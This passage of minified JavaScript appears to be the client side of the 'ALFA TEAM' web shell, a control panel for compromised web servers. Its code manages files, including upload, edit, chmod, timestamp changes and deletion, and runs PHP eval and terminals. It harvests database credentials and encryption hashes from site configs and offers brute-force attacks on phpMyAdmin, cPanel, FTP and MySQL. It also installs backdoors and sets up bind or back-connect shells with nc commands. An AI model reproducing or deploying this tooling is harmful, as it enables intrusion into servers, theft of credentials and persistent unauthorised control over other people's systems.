e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o="filesman_holder_"+i;l.append("a",alfab64(e.a.value)),l.append("c",alfab64(e.c.value)),l.append("alfa1",alfab64(e.alfa1.value)),l.append("charset",alfab64(e.charset.value)),l.append("ajax",alfab64(e.ajax.value)),e.querySelectorAll("input[type=file]").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append("f[]",e.files[a]);else l.append("f[]",e.files[0]);t++}),$("footerup").value="",$("__fnameup").innerHTML="";for(var r=1;r<=upcount;r++){var n=$("pfooterup_"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s="up_bar_"+getRandom();$("up_bar_holder").insertAdjacentHTML("beforeend","<div id='"+s+"' class='up_bar'></div>");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject("Microsoft.XMLHTTP")),a){var c=$(s);_ALFA_AJAX_[s]=a,a.upload&&(c.style.display="block",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a/t*1e3)/10+"%";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display="none":alfaAjaxError(a.status,"upload_area",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if("noperm"!=a.responseText&&"[]"!=a.responseText){var e,t=JSON.parse(a.responseText),l="",r=d.querySelectorAll("#"+o+" #filemanager_table tr").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,"file");try{d.querySelector("#"+o+" .fmanager-row a[fname='"+n+"']").parentElement.parentElement.parentElement.remove()}catch(e){}l+='<tr class="fmanager-row" id="tr_row_'+r+'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'+n+'" class="chkbx" id="checkbox'+r+'"><label for="checkbox'+r+'"></label></div></td><td id="td_row_'+r+'">'+p+'<div style="position:relative;display:inline-block;bottom:12px;"><a row="'+r+'" id="id_'+r+'" class="main_name" onclick="editor(\''+s+"','auto','','','','file');\" href=\"#action=fileman&path="+c_+"&file="+s+'" fname="'+n+'" ftype="file" path="'+c_+'" opt_title="">'+n+'</a></div></td><td><span style="font-weight:unset;" class="main_size">'+c+'</span></td><td><span style="font-weight:unset;" class="main_modify">'+_+'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'+u+'</span></td><td><a id="id_chmode_'+r+'" href="javascript:void(0)" onclick="editor(\''+s+"','chmod','','','','file')\">"+f+'</a></td><td><a id="id_rename_'+r+'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'rename','','','','file')\">R</a> <a id=\"id_touch_"+r+'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'touch','','','','file')\">T</a> <a id=\"id_edit_"+r+'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''+s+"', 'edit','','','','file')\">E</a> <a id=\"id_download_"+r+'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''+n+"', 'download')\">D</a><a id=\"id_delete_"+r+'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '+s+" # ?'); chk ? g('FilesMan',null,'delete', '"+s+"') : '';\"> X </a></td></tr>"}d.querySelector("#"+o+" #filemanager_last_tr").insertAdjacentHTML("beforebegin",l),alfaShowNotification("File(s) uploaded successfully","Uploader"),alfaFmngrContextRow()}else alfaShowNotification("Folder has no permission...","Uploader","error");alfaCheckCurrentFilesManTab(i)}},a.open("POST",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$("filesman_tab_"+e).classList.value.indexOf("filesman-tab-active")&&$("filesman_tab_"+e).classList.add("tab-is-done")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&&(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),"GetConfig"!=a&&"download"!=alfa2&&islinux&&"/"!=d_mf_c.substr(0,1)&&(d_mf_c="/"+d_mf_c),"FilesMan"==a?(alfaloader("filesman_holder_"+fm_id,"block"),g_action_id="filesman_holder_"+fm_id):""!=g_action_id?alfaloader(g_action_id,"block"):"FilesTools"!=a&&"download"!=alfa2&&"GetConfig"!=a&&("sql"==a?(showEditor("database_window"),g_action_id=loadPopUpDatabase("")):"FilesMan"!=a&&(showEditor("options_window"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,"block"));for(var data="a="+alfab64(a)+"&c="+alfab64(d_mf_c)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if("FilesMan"==a){var pagenum=d.querySelector("#"+g_action_id+" .page-number.active-page-number");null!=pagenum&&(data+="pagenum="+alfab64(getCookie(g_action_id+"_page_number")),setCookie(g_action_id+"_page_number",1,2012))}if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){alfaLoaderOnTop("none");var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop("none"),"sql"==a)return loadPopUpDatabase(e,t),!1;if("FilesMan"==a){alfaloader("filesman_holder_"+fm_id,"none"),d.querySelector("#filesman_holder_"+fm_id).innerHTML=e,fm_path=fm_path.replace(/\/\//g,"/"),$("filesman_tab_"+fm_id).setAttribute("path",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector("#filesman_tab_"+fm_id+" span").innerHTML=l,alfaFmngrContextRow(),"function"==typeof alfa1&&alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||"."==t.substr(0,1))&&"."==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor("options_window")),i||alfaloader(t,"none"),loadPopUpOpTions(t,e),"phpeval"==a&&alfaLoadAceEditor("PhpCode"),"coldumper"==a.substr(0,9)&&alfaColDumperInit()},!1,""==g_action_id?"."+a:g_action_id),g_action_id="",0==fm_id2&&c!=c_&&c&&initDir(c)):(alfaloader(alfa3,"block"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector("#"+("id_db"!=a.substr(0,5)?"option_"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($("db_host")&&(a.querySelector("#db_host").value=e.host),$("db_user")&&(a.querySelector("#db_user").value=e.user),$("db_name")&&(a.querySelector("#db_name").value=e.dbname),$("db_pw")&&(a.querySelector("#db_pw").value=e.password),$("db_prefix")&&e.prefix&&(a.querySelector("#db_prefix").value=e.prefix),$("cc_encryption_hash")&&e.cc_encryption_hash&&(a.querySelector("#cc_encryption_hash").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,"none")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(/\/\//g,"/").split("/");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i="/"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$("loader_"+e);if(null==t&&"block"==a){var i=null;"editor"==e?i=d.querySelector("#editor .editor-modal"):"id_db"==e.substr(0,5)?i=$(e):"terminal_id"==e.substr(0,11)?i=$(e):"editor"==e.substr(0,6)?i=$(e):"cgiframe"==e?i=$("cgiframe"):"filesman_holder"==e.substr(0,15)?(i=$(e)).style.minHeight="300px":i=$("option_"+e),i.insertAdjacentHTML("afterbegin","<div id='loader_"+e+'\' class="options-loader-holder"><div parent="'+e+'" onclick="alfaAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="alfateam-loader-text">ALFA TEAM</div><div class="alfa-ajax-error"></div><img src=\'http://solevisible.com/images/loader.svg\'></div>')}else"filesman_holder"==e.substr(0,15)&&($(e).style.minHeight="0"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute("db_id"),t=d.querySelector("#"+a+" div.sf");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),alfaloader(a,"block");var i=t.querySelector("input[name=sql_host]").value,l=t.querySelector("input[name=sql_login]").value,o=t.querySelector("input[name=sql_pass]").value,r=t.querySelector("input[name=sql_base]")?t.querySelector("input[name=sql_base]").value:t.querySelector("select[name=sql_base]").value,n=t.querySelector("select[name=type]").value,s=t.querySelector("input[name=sql_count]").checked?"true":"";_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("query")+"&alfa2=&c="+alfab64(c_)+"&charset="+alfab64("UTF-8")+"&type="+alfab64(n)+"&sql_host="+alfab64(i)+"&sql_login="+alfab64(l)+"&sql_pass="+alfab64(o)+"&sql_base="+alfab64(r)+"&sql_count="+alfab64(s)+"¤t_mysql_id="+alfab64(a)+"&ajax="+alfab64("true"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,"none")},!1,a)}function ctlbc(e){var a=$("bcStatus"),t=$("bcipAction");"bind"==e.value?(t.style.display="none",a.innerHTML="<small>Press ` <font color='red'>>></font> ` button and run ` <font color='red'>nc server_ip port</font> ` on your computer</small>"):(t.style.display="inline-block",a.innerHTML="<small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small>")}function $(e){return d.getElementById(e)}function addnewup(){var e="footerup_"+upcount,a="pfooterup_"+upcount,t=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",i=d.createElement("p");i.innerHTML='<label class="inputfile" for="'+e+'"><span id="__fnameup'+upcount+'"></span> <strong> Choose a file</strong></label><input id="'+e+'" type="file" name="f[]" onChange="handleup(this,'+upcount+');" multiple>',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(e,a,t){c="21"!=a?"localhost":"ftp.example.com",$("port").disabled=e,$("port").value=a,$("target").value=c,$("protocol").value=t}function inBackdoor(e){"my"==e.value?$("backdoor_textarea").style.display="block":$("backdoor_textarea").style.display="none"}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector("#loader_"+a);null!=l&&(firewall="",403==e&&(firewall=" ~ FireWall Detected!"),l.querySelector("img").remove(),l.querySelector(".alfa-ajax-error").innerHTML=e+" ( "+t+firewall+" )",alfaShowNotification(t,"Ajax","error"))}}function alfaInitCwdContext(){d.querySelectorAll(".header_pwd").forEach(function(e){e.addEventListener("contextmenu",function(e){var a=e.target.getAttribute("path"),t=d.querySelector("#rightclick_menu > a[name=newtab]");t.setAttribute("href","javascript:void(0);"),t.removeAttribute("target"),t.onclick=function(){alfaFilesManNewTab(a,"/")};var i=e.clientX,l=e.clientY;alfaSortMenuItems(["newtab"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+"px",rightclick_menu_context.left=e+"px",rightclick_menu_context.visibility="visible",rightclick_menu_context.opacity="1"}function alfaSortMenuItems(e){var a=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete","view_archive"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="block",t=!0);t||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="none")}}function alfaAceChangeSetting(e,a){var t=e.options[e.selectedIndex].value,i=e.getAttribute("base"),l=alfa_ace_editors.editor;"eval"==i&&(l=alfa_ace_editors.eval);var o=e.getAttribute("ace_id");"lang"==a?l[o].session.setMode("ace/mode/"+t):"theme"==a&&l[o].setTheme("ace/theme/"+t),setCookie("alfa_ace_"+a+"_"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;"eval"==a&&(t=alfa_ace_editors.eval);var i=e.getAttribute("ace_id");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;"eval"==e&&(i=alfa_ace_editors.eval);var l=t.getAttribute("ace_id"),o=i[l].getFontSize();"+"==a?++o:--o,i[l].setFontSize(o),setCookie("alfa_ace_fontsize_"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l="expires="+i.toUTCString();document.cookie=e+"="+a+";"+l+";path=/"}function getCookie(e){var a=("; "+document.cookie).split("; "+e+"=");if(2==a.length)return a.pop().split(";").shift()}function editorClose(e){if(d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&&null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor[a].destroy();alfa_ace_editors.editor=null,d.querySelector(".editor-tabs").innerHTML="",d.querySelector(".editor-content-holder").innerHTML=""}}else if("cgiloader"==e)php_temrinal_using_cgi&&(d.querySelector(".terminal-tabs").innerHTML="",d.querySelector(".terminal-contents").innerHTML=""),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if("options_window"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval[a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(".php-evals").forEach(function(e){e.removeAttribute("ace")})}}else"database_window"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute("class"),elem.style.display="none","options_window"==e&&(elem.querySelector(".options_tab").innerHTML="",elem.querySelector(".options_content").innerHTML="")},1e3),d.body.style.overflow="visible"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+"-minimized").style.top="30%":2==a.length?($(a[0]+"-minimized").style.top="20%",$(a[1]+"-minimized").style.top="50%"):3==a.length?($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="60%"):4==a.length&&($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="55%",$(a[3]+"-minimized").style.top="80%")}function showEditor(e){if($(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e)is_minimized=!1;else if("cgiloader"==e)cgi_is_minimized=!1;else if("options_window"==e){options_window_is_minimized=!1;var a=d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done");null!=a&&a.classList.remove("tab-is-done")}else"database_window"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?is_minimized=!0:"cgiloader"==e?cgi_is_minimized=!0:"options_window"==e?options_window_is_minimized=!0:"database_window"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[".tar.gz",".tar.bz2",".tar.z",".tar.xz",".zip",".zipx",".7z",".bz2",".gz",".rar",".tar",".tgz"];for(a in t)if(new RegExp("(.*)("+t[a].replace(/\./g,"\\.")+")$","gi").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if("dir"==o&&".."==e)return!1;if("download"==a)return g("FilesTools",i,e,"download"),!1;var r="",n="",s="",c="",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie("alfa_history_files");try{for(var p in editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if("phar://"==e.substr(0,7))f=c_;else if(-1!=e.indexOf("/")){var m=e.split("/");e=m[m.length-1],delete m[m.length-1],f=m.join("/"),islinux&&(f="/"+f)}if(void 0===o&&(o=""),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),"auto"==a&&isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\//g,"")==f.replace(/\//g,"")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==l&&null!=l&&0!=l.length)n=alfab64(l),s=l,c=l.replace("file_","");else{var h="file_"+(c=getRandom(10));n=alfab64(h),s=h}var b="editor_source_"+c;if(null==$(b)){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}d.querySelector(".editor-tabs").insertAdjacentHTML("beforeend","<div onclick='editorTabController(this);' opt_id='"+b+"' id='tab_"+b+"' class='editor-tab-name editor-tab-active'>"+decodeURIComponent(e)+" <img opt_id='"+b+"' onclick='closeEditorContent(this,event);return false;' title='[close]' src='http://solevisible.com/icons/menu/delete.svg'></div>"),d.querySelector(".editor-content-holder").insertAdjacentHTML("afterbegin","<div class='editor-contents editor-content-active' id='"+b+"'></div>")}return 0==is_minimized&&"none"==$("editor").style.display?($("editor").style.display="block",showEditor("editor"),alfaloader(b,"block")):(is_minimized&&showEditor("editor"),null!=$(b)?alfaloader(b,"block"):(alfaloader("editor","block"),b="editor")),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(a)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t,i){var l=$("tab_"+i);try{null!=l&&((-1==l.classList.value.indexOf("editor-tab-active")||is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","Editor: "+l.innerText)),is_minimized&&alfaUpdateOptionsBadge("editor"))}catch(t){}if("none"==$("editor").style.display?alfaLoaderOnTop("none"):alfaloader(i,"none"),r.length>0&&"edit"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf("editor-tab-active")&&alfaShowNotification("saved...!","Editor"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&alfaShowNotification("proccess is done...","Editor: "+decodeURIComponent(e)),$("editor").style.display="block",evalJS(t),alfaLoadAceEditor("view_ml_content"),"delete"!=a&&editor_error){var c=d.getElementsByClassName("is_active");0!=c.length&&(c[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e," is_active",o),"mkfile"==a&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\/\//g,"/")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$("alfa-ace-plugin")){var t=document.createElement("script");return t.src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js",t.id="alfa-ace-plugin",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{"allow"==$(e).getAttribute("mode")&&(a=!1)}catch(e){}if("view_ml_content"==e){null==alfa_ace_editors.editor&&(alfa_ace_editors.editor={});var i=getCookie("alfa_ace_theme_editor"),l=getCookie("alfa_ace_fontsize_editor");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".editor-ace-controller").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=getRandom(10),o=e.querySelector(".view_ml_content");o.setAttribute("id","view_ml_content-"+t),alfa_ace_editors.editor["view_ml_content-"+t]=ace.edit(o),alfa_ace_editors.editor["view_ml_content-"+t].setReadOnly(a),alfa_ace_editors.editor["view_ml_content-"+t].setShowPrintMargin(!1),alfa_ace_editors.editor["view_ml_content-"+t].setTheme("ace/theme/"+i),alfa_ace_editors.editor["view_ml_content-"+t].session.setMode("ace/mode/php"),alfa_ace_editors.editor["view_ml_content-"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor["view_ml_content-"+t].commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Cmd-S"},exec:function(e){d.querySelector("#ace-save-btn-"+t).click()}}),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","view_ml_content-"+t),-1!=e.classList.value.indexOf("ace-save-btn")&&e.setAttribute("id","ace-save-btn-"+t)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.editor["view_ml_content-"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&&(alfa_ace_editors.eval={});i=getCookie("alfa_ace_theme_eval"),l=getCookie("alfa_ace_fontsize_eval");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".php-evals").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=e.querySelector(".php-evals-ace"),o=getRandom(10);t.setAttribute("id","phpeval-"+o),alfa_ace_editors.eval["phpeval-"+o]=ace.edit(t),alfa_ace_editors.eval["phpeval-"+o].setReadOnly(a),alfa_ace_editors.eval["phpeval-"+o].setShowPrintMargin(!1),alfa_ace_editors.eval["phpeval-"+o].setTheme("ace/theme/"+i),alfa_ace_editors.eval["phpeval-"+o].session.setMode("ace/mode/php"),alfa_ace_editors.eval["phpeval-"+o].session.setUseWrapMode(!0),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","phpeval-"+o)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.eval["phpeval-"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l="";t&&0!=t&&(l=t);var o=document.createElement("div");o.innerHTML="<div id='"+e+"' class='history' onClick='reopen(this);'><div class='editor-icon'>"+loadType(a,i,e)+"</div><div class='editor-file-name'>"+a+"</div></div><div class='history-close' onClick='removeHistory(\""+e+"\");'>X</div>",o.className="file-holder"+l,o.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),o.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){"none"==a&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class='editor-icon'>"+loadType(editor_files[t].file,e,t)+"</div><div class='editor-file-name'>"+editor_files[t].file+"</div>",editor_files[t].type=e});if("file"==a){a=(a=e.split("."))[a.length-1].toLowerCase();-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(a)&&(a="notfound")}else a="folder";return'<img src="http://solevisible.com/icons/{type}" width="30" height="30">'.replace("{type}",a+".png")}function updateFileEditor(e,a){var t="id_"+e,i="id_chmode_"+e,l="id_rename_"+e,o="id_touch_"+e,r="id_edit_"+e,n="id_download_"+e,d="id_delete_"+e,s=$(t).getAttribute("ftype");"folder"==s&&(s="dir"),"file"==s?($(t).innerHTML=a,$(t).setAttribute("href","#action=fileman&path="+c_+"/"+a),$(t).setAttribute("onclick","editor('"+a+"','auto','','','','file')"),$(r).setAttribute("onclick","editor('"+a+"','edit','','','','"+s+"')"),$(n).setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')")):($(t).innerHTML="<b>| "+a+" |</b>",$(t).setAttribute("onclick","g('FilesMan', '"+c_+"/"+a+"')")),$(i).setAttribute("onclick","editor('"+a+"','chmod','','','','"+s+"')"),$(l).setAttribute("onclick","editor('"+a+"','rename','','','','"+s+"')"),$(o).setAttribute("onclick","editor('"+a+"','touch','','','','"+s+"')"),$(d).setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';"),$(t).setAttribute("fname",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+"/",i=editor_files[e].pwd+"/"+a+"/",l=editor_files[e].pwd+"/"+editor_files[e].file+"/";for(var o in i=i.replace(/\/\//g,"/"),l=l.replace(/\/\//g,"/"),-1!=(t=t.replace(/\/\//g,"/")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files[o].pwd+"/";-1!=(r=r.replace(/\/\//g,"/")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",JSON.stringify(editor_files),2012)}function setEditorTitle(e,a){if("out"==a&&""!=editor_current_file){var t=d.querySelector(".editor-tab-name.editor-tab-active");e=null!=t?t.getAttribute("opt_id").replace("editor_source_","file_"):editor_current_file}editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\/\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName("filestools")[0];a&&a.getAttribute("fid")==e&&(a.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var a="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute("id"),t=editor_files[a].pwd,i=editor_files[a].file,l="editor_source_"+a.replace("file_","");null==$(l)?editor(i,"auto","",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute("ace_id");var a=alfa_ace_editors.editor[e].selection.toJSON();alfa_ace_editors.editor[e].selectAll(),alfa_ace_editors.editor[e].focus(),document.execCommand("copy"),alfa_ace_editors.editor[e].selection.fromJSON(a),alfaShowNotification("text copied","Editor")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t="",i="",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return alfaloader(alfa_before_do_action_id,"block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&alfa9="+alfab64(e.cgi_api.value)+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,"none")},!1,alfa_before_do_action_id),alfa_before_do_action_id="",0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");a[t]=e.value}):a=e;var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(a))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"")}function evalCss(e){var a=document.createElement("style");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var 